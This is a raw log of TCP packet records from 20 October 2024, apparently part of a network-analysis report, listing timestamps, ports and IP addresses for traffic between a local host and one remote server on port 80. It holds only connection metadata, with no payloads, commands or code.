Oct 20, 2024 08:40:16.341845036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341860056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.341867924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341877937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.341885090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341893911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.341898918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341912031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.341913939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341928959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.341929913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341941118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.341953039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.341973066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.342015982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342037916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342053890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342062950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.342070103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342082977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.342086077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342088938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.342103004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342117071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.342118979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342133999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342154026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342165947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.342175961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342192888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.342192888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.342192888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.342201948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342215061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342227936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.342236042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342252016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342253923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.342269897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342279911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.342286110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342297077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.342299938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342314959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342329025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.342329979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342345953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342348099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.342353106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.342360973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342381001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.342385054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342398882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342407942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.342413902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342430115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.342436075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342452049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342457056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.342466116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342480898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342482090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.342495918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342506886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.342514038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342529058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342530966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.342545033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342556000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.342560053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342576027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342577934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.342591047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342606068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342617035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.342621088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342633963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.342636108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342653036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.342658043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342673063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342685938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342693090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.342700005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.342700005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.342717886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.342735052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.342860937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342890978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342905998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.342907906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342932940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.342945099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.342972040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.342987061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343000889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343008041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.343019009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343030930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.343034983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343045950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.343066931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.343089104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.343136072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343158007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343173027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343194962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343209982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343224049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343239069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343254089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343267918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343291044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343311071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343324900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343339920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343363047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343378067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343401909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343419075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343432903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343456030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343472004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343487024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343509912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343523979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343539000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343554020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343569040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343585014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343599081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343615055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343628883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343656063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343679905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343696117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343709946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343724012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343736887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343750954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343765020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343779087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343801975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343815088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343830109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343843937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343858957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343871117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343884945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343899012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343913078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343928099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343941927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343957901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343971968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.343986988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.344001055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.344017982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.344033003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.344578981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.344690084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.344779015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.428420067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.433321953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.778919935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.778939962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.778954983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.778964043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.778971910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.778981924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.778992891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779000998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779007912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779015064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779030085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779036999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779043913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779050112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779057026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779063940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779081106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779093981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779104948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.779117107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779131889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779145956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779158115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.779165030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779179096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779181957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.779194117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779198885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.779208899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779222965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779230118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.779246092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779257059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.779263020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779277086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779282093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.779292107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779300928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.779309034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779325962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.779345036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779355049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.779391050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.779407024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779429913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779443979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779454947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.779465914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779473066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.779484034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779493093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.779499054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779510021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.779527903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.779556036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.779562950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779689074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779701948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779717922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779728889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.779731989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779747009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779759884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.779762983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779778957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779779911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.779814959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.779835939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.779966116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779982090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.779997110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780025005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.780040979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780050993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.780056000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780070066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780083895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780085087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.780100107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780106068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.780113935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780128956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780134916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.780147076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780159950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.780169010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780177116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.780184984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780196905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.780209064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780215025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.780224085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780231953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.780240059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780252934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.780277014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.780277967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780292988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780308008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780333042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.780350924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.780399084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780414104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780428886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780442953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780457020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780457020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.780483961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.780507088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.780514002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780570984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780585051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780637980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.780637980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.780663013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780677080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780689955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780705929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780714989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.780720949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780746937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.780752897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780771017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.780786991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780791044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.780850887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.780888081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780903101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780917883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780930996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.780932903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780947924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780951977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.780962944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.780985117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.780996084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.780996084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.780997992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781021118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781040907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781043053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781058073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781064034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781073093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781091928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781095982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781110048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781116009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781125069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781137943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781140089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781152010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781183004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781183004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781204939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781219006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781232119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781246901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781255960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781269073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781281948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781282902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781299114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781322002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781327009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781337976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781346083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.781352997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.781367064 CEST	80	49704	185.215.113.37	192.168.2.5
